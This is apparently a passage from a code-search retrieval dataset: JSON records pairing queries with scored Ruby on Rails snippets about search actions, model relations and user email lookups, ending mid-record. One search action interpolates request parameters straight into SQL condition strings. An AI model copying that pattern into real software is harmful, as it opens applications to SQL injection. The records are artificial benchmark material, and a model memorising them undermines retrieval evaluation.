"text": "def search\n info params.inspect\n @query = params[:query]\n searcher = SolrSearcher.new\n @facet = {}\n @page_title = if @query == TEXT_DUMMY\n \"All Documents\"\n else\n \"Search Result for '#{@query}'\"\n end\n begin\n #debugger\n @search_results = searcher.process_request(@query, 'kwd', params.merge(:raw=>true))\n error \"search_results : #{@search_results.inspect}\" \n rescue Exception => e\n error \"Search failed!!\", e\n end\n @rank_list = @search_results.hits.map{|e|{:item=>e.instance, :id=>e.instance.id, :score=>e.score}}\n @query_doc = Item.find_or_create(@query, 'query', :uri=>request.url, \n :content=>@rank_list.map{|e|e[:item].title}.join(\"\\n\"))\n\n @facet[:source_id] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:source_id)).\n find_all{|e|e.instance}.map{|e|[\"#{e.instance.title} (#{e.count})\", e.value]} \n\n @facet[:itype_str] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:itype_str)).\n map{|e|[\"#{e.value} (#{e.count})\", e.value]}\n \n @facet[:basedate] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:basedate)).\n find_all{|e|Time.now - e.value < 86400*7}.map{|e|[\"#{e.value.to_date} (#{e.count})\", e.value]}.reverse\n\n #debugger\n Item.metadata_fields(params[:facet_itype_str]).each do |field, type|\n @facet[field] = searcher.process_request(@query, 'kwd', params.merge(:facet=>field)).\n map{|e|[\"#{e.value} (#{e.count})\", e.value]}\n end\n #@docs = Item.find(@rank_list.map{|e|e[0]}).map_hash{|d|[d.id, d]}\n #debugger\n end",
"title": ""
},
{
"docid": "84cfd7eb36838c42fcfdd4d3f83d77b3",
"score": "0.5785713",
"text": "def search(query, opts = {})\n data, _status_code, _headers = search_with_http_info(query, opts)\n data\n end",
"title": ""
},
{
"docid": "08ad92376f5cddec1fff9e9545803a14",
"score": "0.5784762",
"text": "def search(query, *path)\n cloud_api.search(query, path)\n end",
"title": ""
},
{
"docid": "69a0c6559abe26b93badbb4d769b1e63",
"score": "0.5784087",
"text": "def search(query: Data::Nil, provider: Data::Nil, sort: Data::Nil, order: Data::Nil, limit: Data::Nil, page: Data::Nil)\n @lock.synchronize do\n @params = {\n query: query,\n provider: provider,\n sort: sort,\n order: order,\n limit: limit,\n page: page\n }\n execute\n end\n end",
"title": ""
},
{
"docid": "3da6cecc5a16f691596a308095895851",
"score": "0.5782748",
"text": "def results\n apply_queries\n sort_list = @sort_list\n if @sort\n @search.sort { by sort_list }\n else\n @search.sort { by 'name_not_analyzed' }\n end\n\n if @offset && @limit\n @search.from @offset\n @search.size @limit\n elsif @unlimited\n @search.size 1_000_000\n else\n @search.size self.class.page_size\n end\n\n Rails.logger.debug @search.to_curl if Rails.logger.level <= Logger::DEBUG\n\n @search.perform.results\n end",
"title": ""
},
{
"docid": "e388fe0f207499e3d74ea2776fdd3b28",
"score": "0.5782182",
"text": "def search\n query_terms = []\n start = params[:start]\n start = 0 if start.nil?\n len = params[:length]\n if len.nil?\n len = 100\n else\n len = len.to_i\n end\n\n lib_filter = params[:l]\n if !lib_filter.blank? && lib_filter != \"Any\"\n query_terms << \"library = '#{lib_filter}'\"\n end\n\n sys_filter =params[:sys]\n if !sys_filter.blank? && sys_filter != \"Any\"\n query_terms << \"classification_system = '#{sys_filter}'\"\n end\n\n class_filter = params[:c]\n if !class_filter.blank? && class_filter != \"Any\"\n query_terms << \"classification = '#{class_filter}'\"\n end\n\n subclass_filter = params[:s]\n if !subclass_filter.blank? && subclass_filter != \"Any\"\n query_terms << \"subclassification = '#{subclass_filter}'\"\n end\n\n i_filter = params[:i]\n i_filter = \"any\" if i_filter.blank?\n intervention_term = get_intervention_term( i_filter )\n query_terms << intervention_term if !intervention_term.blank?\n\n status_filter = params[:status]\n if !status_filter.blank? && status_filter != \"Any\"\n query_terms << \"ls.result = '#{status_filter}'\"\n end\n\n q = params[:q]\n if !q.blank?\n field = params[:field]\n field = \"all\" if field.nil?\n full = params[:full]\n full = \"true\" if full.nil?\n q_val = \"#{q}|#{field}|#{full}\"\n query_terms << get_query_term(q_val, intervention_term)\n end\n\n order_col = get_order_column( params[:oc].to_i)\n order_str = \"#{order_col} #{params[:od]}\"\n\n format = params[:format]\n format = \"json\" if format.nil?\n format = format.downcase\n if format != \"json\" && format != \"csv\"\n render plain: \"Invalid format #{format}\", status: :error\n else\n if format == \"csv\"\n len = 0\n start = 0\n end\n total, filtered, res = do_search(query_terms, start, len, order_str)\n if format == \"json\"\n render json: {\n total: total, filtered: filtered, start: start, length: len,\n data: res.as_json(except: [\"created_at\", \"updated_at\", \"who_checked\", \"id\"]) }\n else\n send_file( get_csv_results(res), {filename: \"results.csv\"} )\n end\n end\n end",
"title": ""
},
{
"docid": "b64d2ab96aa3665a0fa63407f1f08e9b",
"score": "0.5778298",
"text": "def index\n keyword = params[:keyword]\n spot = params[:spot]\n investment = params[:investment]\n costmin = params[:costmin]\n costmax = params[:costmax]\n surfmin = params[:surfmin]\n surfmax = params[:surfmax]\n importmin = params[:importmin]\n importmax = params[:importmax]\n theme = params[:theme_id]\n type = params[:type_id]\n @actions = Action.search(keyword, spot, investment, costmin, costmax, surfmin, surfmax, importmin, importmax, theme, type)\n end",
"title": ""
},
{
"docid": "4ada34461cf0c5c00727262fb1b143f0",
"score": "0.57715213",
"text": "def search(query: Data::Nil, provider: Data::Nil, sort: Data::Nil, order: Data::Nil, limit: Data::Nil, page: Data::Nil)\n params = {\n q: query,\n provider: provider,\n sort: sort,\n order: order,\n limit: limit,\n page: page\n }\n request(method: :get, path: \"search\", params: params)\n end",
"title": ""
}
] |
d17d1df319e4d6981bd9473496b85830 | Return all the models as relations to this playground | [
{
"docid": "2e3e237463392643f2384a8974511d98",
"score": "0.0",
"text": "def as_json(request)\n {\n :links => [\n *models.map { |k,v| {:rel => k, :href => request.add_path(k).full_path } },\n {:rel => 'self', :href => request.full_path}\n ]\n }\n end",
"title": ""
}
] | [
{
"docid": "8229fa84781654a15161685427175edf",
"score": "0.7372265",
"text": "def relations; end",
"title": ""
},
{
"docid": "c819a62e2f2cc685f238e903145155da",
"score": "0.7175243",
"text": "def relations\n self.class.relations\n end",
"title": ""
},
{
"docid": "2ee57e9467a938fc11249b000492e668",
"score": "0.71650237",
"text": "def relations\n self.class.relations\n end",
"title": ""
},
{
"docid": "2ee57e9467a938fc11249b000492e668",
"score": "0.71650237",
"text": "def relations\n self.class.relations\n end",
"title": ""
},
{
"docid": "5394d897ab444ac9cd72196c4c3b32ac",
"score": "0.7113756",
"text": "def relations\n each_relation.to_a\n end",
"title": ""
},
{
"docid": "0f271b4fa6670599519f7c0944d3e4e1",
"score": "0.70278126",
"text": "def relationships\n model.relationships(repository.name)\n end",
"title": ""
},
{
"docid": "0f271b4fa6670599519f7c0944d3e4e1",
"score": "0.70278126",
"text": "def relationships\n model.relationships(repository.name)\n end",
"title": ""
},
{
"docid": "0682a21e6bd85ab27627e59740a93c89",
"score": "0.6990903",
"text": "def relationships\n @domain.relationships_for(@model)\n end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "97c91f50ccad10f19a6e9372595610a0",
"score": "0.69806707",
"text": "def relationships; end",
"title": ""
},
{
"docid": "88e2abeb00c3ce55b3c888d9d08b5697",
"score": "0.69184667",
"text": "def relations\n load_root if !@relations\n @relations\n end",
"title": ""
},
{
"docid": "0afac28565fcf900d1291012039c0d78",
"score": "0.69003814",
"text": "def relations\n [defined_on_object,associations].flatten\n end",
"title": ""
},
{
"docid": "cbb12e4734ad99f404c63602b7d31912",
"score": "0.68923897",
"text": "def associations\n self.relations\n end",
"title": ""
},
{
"docid": "9b8f0e2f980553341113db10e746e6e5",
"score": "0.68525803",
"text": "def relations\n @model_relations ||= RademadeAdmin::Model::Info::Relations.new(_data_adapter)\n end",
"title": ""
},
{
"docid": "6256873f889187c2b53fb9441184bcfd",
"score": "0.67992246",
"text": "def relations\n return @relations\n end",
"title": ""
},
{
"docid": "6256873f889187c2b53fb9441184bcfd",
"score": "0.67992246",
"text": "def relations\n return @relations\n end",
"title": ""
},
{
"docid": "c90f8e1c991fb40cc386a2311b5b7c59",
"score": "0.6783117",
"text": "def associations\n relations\n end",
"title": ""
},
{
"docid": "4d8b078255245c66a262ddef4aa7e73b",
"score": "0.6767163",
"text": "def relationships\n model.relationships(repository_name)\n end",
"title": ""
},
{
"docid": "1ad0f6fa5c4416c667207fc669e3e749",
"score": "0.66842085",
"text": "def relations\n parent_relations.all + child_relations.all\n end",
"title": ""
},
{
"docid": "16cf4951a8d301789bcacee4673dbf47",
"score": "0.6667297",
"text": "def relational(*models)\n options = models.extract_options!\n options[:name] ||= \"#{models.first.name.underscore}-relational\"\n graph = Diagrams::Graph.new(options.delete(:name), :digraph, rank_dir: 'BT', node: { font_color: '#999999', color: '#999999' }, edge: { color: '#999999' })\n polymorphism = false\n models.sort { |a, b| a.name <=> b.name }.each do |model|\n graph.node(model.name, href: \"https://forge.ekylibre.com/projects/serious/repository/revisions/master/entry/app/models/#{model.name.underscore}.rb\", font_color: '#002255', color: '#002255')\n model.reflections.values.each do |reflection|\n next if reflection.macro != :belongs_to || model.name == reflection.class_name || %w(updater creator).include?(reflection.name.to_s) || (!reflection.polymorphic? && !models.include?(reflection.class_name.constantize))\n arrow_options = {}\n arrow_options[:label] = reflection.name if reflection.polymorphic? || reflection.name.to_s != reflection.class_name.underscore\n if reflection.polymorphic?\n polymorphism = true\n graph.arrow(model.name, 'AnyModel', arrow_options.merge(style: :dashed))\n else\n graph.arrow(model.name, reflection.class_name, arrow_options)\n end\n end\n end\n graph.node('AnyModel', style: :dashed) if polymorphism\n graph\n end",
"title": ""
},
{
"docid": "678b2bc4ea1a61c5d8ce942085bd8e04",
"score": "0.66511357",
"text": "def relationships\n []\n end",
"title": ""
},
{
"docid": "b28d7fca085505837d9c18877a9dd8f5",
"score": "0.66497827",
"text": "def model_relationships; end",
"title": ""
},
{
"docid": "03476ea2f41a9e555029082319108617",
"score": "0.6639932",
"text": "def link_relations\n @models.each do |model|\n model.relations.each do |relation|\n relation.link_to_models(@models)\n end\n end\n end",
"title": ""
},
{
"docid": "511c8d427e90c6a16a734d9fd8728ac9",
"score": "0.66142577",
"text": "def relations\n @relations || load_and_return(:@relations)\n end",
"title": ""
},
{
"docid": "e8c079dcbfc8fe7729f42055929983bf",
"score": "0.65820533",
"text": "def relations\n dependents + dependencies\n end",
"title": ""
},
{
"docid": "d5c0f6af0214f5ac7c23f5054fe8d5ba",
"score": "0.65813017",
"text": "def associations; end",
"title": ""
},
{
"docid": "15c70a43c81a3c0ef604d4fe8cb5aa88",
"score": "0.6580902",
"text": "def relations\n @relations ||= {}\n end",
"title": ""
},
{
"docid": "a54267af1ec7783518b812a31a2594ec",
"score": "0.65696144",
"text": "def associations\n end",
"title": ""
},
{
"docid": "4d73c30474c0ecec645355e51502e47a",
"score": "0.65535414",
"text": "def models\n []\n end",
"title": ""
},
{
"docid": "6cf634b76e86ad178fd225444b9a6f60",
"score": "0.6531267",
"text": "def models\n @models ||= Prepares.models\n end",
"title": ""
},
{
"docid": "2168d4cc9e9a63f0cf9b39e70699257e",
"score": "0.6509168",
"text": "def relations\n @relations ||= _map_relations\n end",
"title": ""
},
{
"docid": "71b6d595e6c664649268db9b57b29912",
"score": "0.6508196",
"text": "def serialisable_relations\n\n (\n self.class.reflect_on_all_associations( :has_one ) + self.class.reflect_on_all_associations( :belongs_to )\n ).map{ |r| r.name }\n\n end",
"title": ""
},
{
"docid": "3a4a9f9e7867476ffae8e059bcf12170",
"score": "0.64490086",
"text": "def possible_models\n all_possible_models\n end",
"title": ""
},
{
"docid": "7f41624ee18868e9bea5c6c0cfa6f009",
"score": "0.6426296",
"text": "def all_models\n cluster = DataMapper::Model.descendants\n end",
"title": ""
},
{
"docid": "2fa59b93091a2da9db63628b9673714b",
"score": "0.64205563",
"text": "def entities\n # @see https://stackoverflow.com/a/36277614\n all_models = ApplicationRecord.descendants.sort_by(&:name)\n excluded_models = RailsInteractiveErd.excluded_model_names.map(&:constantize)\n\n (all_models - excluded_models).map do |model|\n {\n name: model.name,\n friendlyName: model.name.titlecase,\n comment: model_comment(model),\n columns: model_columns(model)\n }\n end\n end",
"title": ""
},
{
"docid": "e86e4ef66ab7d5ebcf853a620abb2fac",
"score": "0.6417115",
"text": "def rels\n Rels.from(self)\n end",
"title": ""
},
{
"docid": "a32d920c09cc044c9ef031b7ed942602",
"score": "0.6392107",
"text": "def linked_models(relationship_name)\n find_relationship(relationship_name)[:references].keys\n end",
"title": ""
},
{
"docid": "f10526490f337560fb1029cb50dc8289",
"score": "0.6390338",
"text": "def associated_models\n associations.map(&:associated_models).flatten\n end",
"title": ""
},
{
"docid": "6e5fc07a1881cc8a3766931287437e30",
"score": "0.6382538",
"text": "def models\n @models ||= []\n end",
"title": ""
},
{
"docid": "6e5fc07a1881cc8a3766931287437e30",
"score": "0.6382538",
"text": "def models\n @models ||= []\n end",
"title": ""
},
{
"docid": "631e7904b1bba6a4aa45e03f7f2d38d3",
"score": "0.6360293",
"text": "def all\n # creo una RemoteRelation temporanea, di cui chiamo il metodo \"all\"\n relation = Intersail::RemoteModels::RemoteModel::RemoteRelation.instantiate(name: self.name.to_s.underscore, klass: self.name)\n relation.all\n end",
"title": ""
},
{
"docid": "0034738c0e5eebfef7d9e20acbc74de1",
"score": "0.6350976",
"text": "def get_relations_from_api(api=OSMLib::API::Client.new)\n api.get_relations_referring_to_object(type, self.id.to_i)\n end",
"title": ""
},
{
"docid": "34dd9e5781c6ae3a19126bc9c03c101c",
"score": "0.6320288",
"text": "def models(with_attributes=nil)\n list = File.expand_path(\"app/models\")\n list_ary = Dir.entries(list).select{|x| x[0..0] != \".\"}\n list_ary.map!{|f| f.split(\".\")[0].camelize}\n list_ary.map!{|l| [eval(l).schema] unless eval(l).nil?} unless with_attributes.nil?\n footer = \"=\"*list_ary.last.length\n list_ary << [footer,\"#{list_ary.length} Models\"]\n y list_ary.flatten!\n end",
"title": ""
},
{
"docid": "cdb7a7a32af335d1242032f8380da0c4",
"score": "0.6302494",
"text": "def model_relationships\n ActiveSupport::OrderedHash.new.tap do |hash|\n relations.values.map { |i| hash[i.name] = i.macro }\n end\n end",
"title": ""
},
{
"docid": "f171895098e19806753d85437fe4c107",
"score": "0.625388",
"text": "def models\n @models ||= []\n end",
"title": ""
},
{
"docid": "1c25cdee5960064448625a13d1cc8651",
"score": "0.6221849",
"text": "def all_relation\n raise NotImplementedError.new\n end",
"title": ""
},
{
"docid": "28feaad1bb282c7b5f67a2d8f8a058df",
"score": "0.6214316",
"text": "def associated_collection\n associated_model_config.abstract_model.all.map do |object|\n [associated_model_config.bind(:object, object).list.object_label, object.id]\n end\n end",
"title": ""
},
{
"docid": "61892020b9044680dcb2586fec25a4b8",
"score": "0.6213712",
"text": "def models; Waves.application.models; end",
"title": ""
},
{
"docid": "a25d5ab62e5a89794190b5ed691c3e64",
"score": "0.62128997",
"text": "def models\n ObjectSpace.each_object(Class).select { |c| c < Model }\n end",
"title": ""
},
{
"docid": "42c56d282bf3b51b94f4124c9293feaa",
"score": "0.6200491",
"text": "def relationships\n links = Link.all_from_active_record(self)\n @relationships ||= Relationship.all_from_links(links)\n end",
"title": ""
},
{
"docid": "a4e25ff324665d94b6f08514a7138be9",
"score": "0.6188273",
"text": "def objects\n assoc.klass.find :all\n end",
"title": ""
},
{
"docid": "dd4029177ccdb0b185781a716e964ad0",
"score": "0.61785066",
"text": "def models\n work_classes + collection_classes\n end",
"title": ""
},
{
"docid": "a0af6ace5b9837546f91af2f968e8e73",
"score": "0.6177356",
"text": "def related_models\n Model.where(id: related_model_ids)\n end",
"title": ""
},
{
"docid": "2b3c9f7a67de5a3d4aa5ee7089ad03fa",
"score": "0.6173993",
"text": "def relations\n mapped_hash('relation')\n end",
"title": ""
},
{
"docid": "793f2f6a4659a033b037a98f961f8353",
"score": "0.61716765",
"text": "def associations\n data.associations\n end",
"title": ""
},
{
"docid": "d3e5afd37cb36424b41551643d711362",
"score": "0.6171247",
"text": "def relations_args\n self.class.relations_args\n end",
"title": ""
},
{
"docid": "20c55eb887b6e21a294f23d009a5a7d7",
"score": "0.6161761",
"text": "def associations\n @rtb.associations\n end",
"title": ""
},
{
"docid": "bccdba6abb50317e594c184dcab5f324",
"score": "0.61569744",
"text": "def models\n default_models = self.class::possible_models\n default_models.delete(\"Link\") if autocomplete?\n @models ||= default_models\n end",
"title": ""
},
{
"docid": "a5fa52b5c5c709998ef2eeaccd59fb7f",
"score": "0.6156281",
"text": "def referenced_models( model )\n model.schema_definition.properties.values.select do |s| \n s.is_a?(Respect::HasOneSchema) || s.is_a?(Respect::HasManySchema)\n end.map(&:of)\n end",
"title": ""
},
{
"docid": "97a694388de0972ca84505a1b30a76d5",
"score": "0.6148121",
"text": "def children\n models = rules + tests + tags\n models << background if background\n\n models\n end",
"title": ""
},
{
"docid": "c57b6095b5ca705969f5eff67ae34265",
"score": "0.61445546",
"text": "def associations\n @associations\n end",
"title": ""
},
{
"docid": "c57b6095b5ca705969f5eff67ae34265",
"score": "0.61445546",
"text": "def associations\n @associations\n end",
"title": ""
},
{
"docid": "d59731918629469f4ec6e04614c8a08f",
"score": "0.6143782",
"text": "def get_relations_from_api(api=OSM::API.new)\n api.get_relations_referring_to_object(type, self.id.to_i)\n end",
"title": ""
},
{
"docid": "1295325a79e4219a32904fa2609794e1",
"score": "0.613477",
"text": "def front_models\n Hobo::Model.all_models.select {|m| linkable?(m) }\n end",
"title": ""
},
{
"docid": "8471e9f9bd5aa37ac3a03a10fc1635a4",
"score": "0.612866",
"text": "def all\n relation.to_a\n end",
"title": ""
},
{
"docid": "a4c7fe327951edde4f1129b4ee3e31f5",
"score": "0.6127269",
"text": "def relationships\n @relationships ||= {}\n end",
"title": ""
},
{
"docid": "e0539214cb3eb37563d71d43f1cac20f",
"score": "0.61164856",
"text": "def build_model_associations\n text = ''\n text += ' # '+'='*15+' ASSOCIATIONS '+'='*15+\"\\n\"\n @model_test.model_associations.each do |asc|\n text += \" #{asc.model_name} :#{asc.model_relationship_name} \\r\"\n end\n\n text += \"\\r\\r\"\n end",
"title": ""
},
{
"docid": "fec777df458d686ea4ea33232871cb57",
"score": "0.6116395",
"text": "def model_relationships\n ActiveSupport::OrderedHash.new.tap do |hash|\n reflect_on_all_associations.map { |i| hash[i.name] = i.macro }\n end\n end",
"title": ""
},
{
"docid": "fec777df458d686ea4ea33232871cb57",
"score": "0.6116395",
"text": "def model_relationships\n ActiveSupport::OrderedHash.new.tap do |hash|\n reflect_on_all_associations.map { |i| hash[i.name] = i.macro }\n end\n end",
"title": ""
},
{
"docid": "3d62bd449af598d53797dbdf9b22f409",
"score": "0.6105795",
"text": "def models\n collection_classes\n end",
"title": ""
},
{
"docid": "8bfa096e6dd65630ba8ce920746f91d4",
"score": "0.6104488",
"text": "def children\n models = tests + tags\n models << background if background\n\n models\n end",
"title": ""
},
{
"docid": "80876e017d2733e6ad5cda7906fce476",
"score": "0.6091276",
"text": "def build_object_graph\n @relationships ||= []\n Array(self.class.relationships).each do |relationship|\n included = includes.include?(relationship.name)\n rel = relationship.build_resources({parent_resource: self, included: included})\n @relationships << rel\n end\n end",
"title": ""
},
{
"docid": "c5d1bab258cff5deabc9be7ff3910fda",
"score": "0.6073565",
"text": "def all_relations\n FeatureRelation.where(['child_node_id = ? OR parent_node_id = ?', id, id])\n end",
"title": ""
},
{
"docid": "c5d1bab258cff5deabc9be7ff3910fda",
"score": "0.6073565",
"text": "def all_relations\n FeatureRelation.where(['child_node_id = ? OR parent_node_id = ?', id, id])\n end",
"title": ""
},
{
"docid": "01da64def445783cd1ab9ec3ce468e79",
"score": "0.60694265",
"text": "def models\n client.endpoint = 'models'\n res = client.get\n res.is_a?(Hash) && res[:error].present? ? res : res.map { |item| item.transform_keys(&:to_sym) }\n end",
"title": ""
},
{
"docid": "c17f321336e391dc2fd7d35ce74de7a1",
"score": "0.60689485",
"text": "def index\n @relationals = Relational.all\n end",
"title": ""
},
{
"docid": "ce78325d82f08c65bac49309c2fd00c2",
"score": "0.6065352",
"text": "def get_relationship_json_objects(options)\n # With help from: https://stackoverflow.com/questions/8371574/is-there-a-way-to-list-all-belongs-to-associations\n my_reflections = self._reflections.select do |assoc_name, reflection|\n wanted_relations.include?(reflection.macro) && !excluded_relation_models.include?(assoc_name)\n end\n\n objects = []\n my_reflections.keys.each do |assoc_name|\n objects.append(self.send(assoc_name).as_json(options = {get_related_objects_please_be_unique: false}))\n end\n objects\n end",
"title": ""
},
{
"docid": "aa7621e59ac0dc9b0c9566bf4f5643b6",
"score": "0.6052528",
"text": "def all_relations(options = {})\n for rel in @obj.class.relations\n unless options[:all]\n # Ignore polymorphic_marker relations.\n #--\n # gmosx: should revisit the handling of polymorphic\n # relations, feels hacky.\n #++\n next if (rel[:control] == :none) or rel.polymorphic_marker?\n end\n relation rel, options\n end\n end",
"title": ""
},
{
"docid": "be9fc5d728a9a789b7e12dcd9352cdc8",
"score": "0.60384303",
"text": "def models() = elements.map(&:model)",
"title": ""
},
{
"docid": "be8beb3d4107fd96154bb4f20acff67c",
"score": "0.6035559",
"text": "def relationships\n client.execute(method: :get, path: '/playlists/relationships')\n end",
"title": ""
},
{
"docid": "e4ee65a07e823c189c828428f085d369",
"score": "0.60309577",
"text": "def elements\n # execute query\n query.collect { |relation| relation.object }\n end",
"title": ""
},
{
"docid": "58f4d6b97ef05403966b997f23db00c5",
"score": "0.6029709",
"text": "def models\n recompute_weights\n @models\n end",
"title": ""
},
{
"docid": "0a1aeca6e81e49508573fd698a850c59",
"score": "0.599741",
"text": "def index\n @relations = Relation.all\n end",
"title": ""
},
{
"docid": "2d43c060d28cc067cd21cb52ad06c853",
"score": "0.59962505",
"text": "def relationships\n return [] if empty?\n\n map(&:relationship)\n end",
"title": ""
},
{
"docid": "6e0137ab75bf6fff87b01e59a505a92c",
"score": "0.5989183",
"text": "def rels\n @path_finder_method = :relationships\n self\n end",
"title": ""
},
{
"docid": "e1a1922c2b7ee126701cf65012b37b2a",
"score": "0.5986446",
"text": "def models\n @models ||= DirtySeed::Sorter.new(unsorted_models).sort\n end",
"title": ""
},
{
"docid": "c594dcdbfbeb565c7589a66923c86a3a",
"score": "0.5985422",
"text": "def relationships\n with_included_associations { super }\n end",
"title": ""
},
{
"docid": "71694067a50086b47a38aa5f7d7c2871",
"score": "0.59766346",
"text": "def relationships\n @relationships ||= Relationship.from_associations(self, associations)\n end",
"title": ""
},
{
"docid": "f558b63e974107db3372baf8fd9295a2",
"score": "0.5975415",
"text": "def ontology_objects\n LinkedData::SampleData::Ontology.ontology_objects\n end",
"title": ""
},
{
"docid": "b075e3debbf020378e90a82c6fbd3c34",
"score": "0.5974322",
"text": "def genres \n self.songs.collect do |f|\n f.genre\n end\n # - shows relationship between genres and songs\n # - should be able to say \n end",
"title": ""
},
{
"docid": "2f2bd93a4ec6495745da3bc0b411a182",
"score": "0.597431",
"text": "def get_relationships\n Relationship.all.select { |instance| instance.player_id == self.id }\n end",
"title": ""
},
{
"docid": "9f698ff5398dc47c542c44bb1c008775",
"score": "0.5967637",
"text": "def call\n association_path = model_class.model_name.singular\n relation = model_class.all\n relation = relation.where(*root.constraints) if root.constraints.any? # without arguments returns not a relation\n RelationDumper.new(relation, self, association_path).call\n end",
"title": ""
}
] |
747794a7a58cea9a04db31380c3fe448 | Gets the assignee to the email specified | [
{
"docid": "34b10d05f56543e26d47fad86597ad5a",
"score": "0.7869046",
"text": "def assignee_email\n \tself.assignee.email if self.assignee\n end",
"title": ""
}
] | [
{
"docid": "436114e9149730e4cb2d37e54a3e8814",
"score": "0.78331554",
"text": "def assignee_email= email\n \tself.assigned_to = User.find_by_email(email).id\n end",
"title": ""
},
{
"docid": "53b6145322b45cbff31f35c97fe7756a",
"score": "0.70885277",
"text": "def fetch_assignee\n assigned_to ? [assigned_to] : []\n end",
"title": ""
},
{
"docid": "f28f1546a0df5ba6ddece0843655b6e2",
"score": "0.69427735",
"text": "def email\n user.emails.where( email: self.email_id ).first\n end",
"title": ""
},
{
"docid": "a04c1e391f95d1135f783b0239460758",
"score": "0.68785936",
"text": "def assignee\n records do |instance|\n instance['assignee'] = users.where('_id': instance['assignee_id']).last\n end\n end",
"title": ""
},
{
"docid": "c44b2c497de7a9c631cefc2fe7b3d916",
"score": "0.67937016",
"text": "def email\n @maintainers.first['email']\n end",
"title": ""
},
{
"docid": "6e673cd9ac08e348fb28fbb5d0824e92",
"score": "0.6787508",
"text": "def issue_assignee(issue)\n issue.assignee\n end",
"title": ""
},
{
"docid": "0b5a7a828daa9c6df9170aa850faf10d",
"score": "0.6782465",
"text": "def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"title": ""
},
{
"docid": "46042e6cb6c292f0c78299e15e89c3d8",
"score": "0.674128",
"text": "def get_user_email(role)\n get_user(role).email\n end",
"title": ""
},
{
"docid": "b660bf1575f662593287f51bee573e24",
"score": "0.66702366",
"text": "def slack_user_or_channel(assignee)\n if assignee.include?(\"@\")\n client.lookup_user_by_email(assignee)\n else\n { \"user\" => { \"id\" => assignee } }\n end\n end",
"title": ""
},
{
"docid": "074a5169e8f3ee9e5f20d9610f9d4eec",
"score": "0.6621298",
"text": "def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end",
"title": ""
},
{
"docid": "81b9872123d8659111875efc837c3bd0",
"score": "0.6595309",
"text": "def get_attendee_name_from_email(attemail, companyid, matterid)\n attemail = attemail.chomp\n cnt = Contact.first(:conditions => {:company_id => companyid, :email => attemail})\n usr = User.first(:conditions => {:company_id => companyid, :email => attemail})\n if cnt or usr\n if cnt\n cnt.full_name\n else\n usr.full_name\n end\n end\n end",
"title": ""
},
{
"docid": "ba88259b26f601a78c67a15db93fbce7",
"score": "0.6583575",
"text": "def email\n multi_email.primary_email_record.try(:email)\n end",
"title": ""
},
{
"docid": "591a5b793d99d94a92bd43f62ef7dd05",
"score": "0.654569",
"text": "def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d876c9fc2b1233ecc2ff0f32a2a7d113",
"score": "0.6544485",
"text": "def email\n mentee_user ? mentee_user.email : nil\n end",
"title": ""
},
{
"docid": "bc61e31a1c4ec914336d6a1433628141",
"score": "0.6541136",
"text": "def get_user_email\n user = User.find(self.user_id)\n user.email\n end",
"title": ""
},
{
"docid": "ea6d9458eca12f1834659e546cfb9f2a",
"score": "0.6452934",
"text": "def email\n mail.first\n end",
"title": ""
},
{
"docid": "ea6d9458eca12f1834659e546cfb9f2a",
"score": "0.6452934",
"text": "def email\n mail.first\n end",
"title": ""
},
{
"docid": "50268e81b0543eaf507b8ecc589eaea9",
"score": "0.6431818",
"text": "def email\n userid.try(:match, / <(.*@.*)>/).try(:[], 1)\n end",
"title": ""
},
{
"docid": "97b0f6265cd313afb163738edb584e2a",
"score": "0.6429481",
"text": "def email_address\n response = get 'v1/market/private/user/email.json'\n response[:email]\n end",
"title": ""
},
{
"docid": "efb6d41b7b9c0f989d34feee1eccb318",
"score": "0.64212006",
"text": "def assigner_user_id\n return @assigner_user_id\n end",
"title": ""
},
{
"docid": "d366ba5a502b5de17a74acee01d5deca",
"score": "0.641546",
"text": "def find_ep(email)\n ExchangeParticipant.find_by(email: email, podio_id: nil)\n end",
"title": ""
},
{
"docid": "7ecda733c93db9d68bedd0058ad3118f",
"score": "0.6394219",
"text": "def get_user_email(project_id, name)\n begin\n set_super_token\n project = PivotalTracker::Project.find project_id.to_i\n project.memberships.all.select{|m| m.name == name }[0].email\n rescue => e\n raise WrongActivityData.new(\"Can't get email of the Tracker user: #{name} in project id: #{project_id}. \" + e)\n end \n end",
"title": ""
},
{
"docid": "980eef1bfb7a9c1dea27a74d90183f14",
"score": "0.6390928",
"text": "def from_email\n EmailAddress.find(:all).first\n end",
"title": ""
},
{
"docid": "09334638f7181356f5ec74f57d965288",
"score": "0.63718104",
"text": "def find_user_from_invitee_email\n return if invitee_email.nil?\n\n self.user = ::User.find_by(email: invitee_email)\n errors.add(:invitee_email, 'is not a registered user') if user.nil?\n end",
"title": ""
},
{
"docid": "7fd62522fddea14590f362d791719144",
"score": "0.636615",
"text": "def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"title": ""
},
{
"docid": "aed70181934b28814205563bcae5bcad",
"score": "0.63600945",
"text": "def email\n return @email\n end",
"title": ""
},
{
"docid": "aed70181934b28814205563bcae5bcad",
"score": "0.63600945",
"text": "def email\n return @email\n end",
"title": ""
},
{
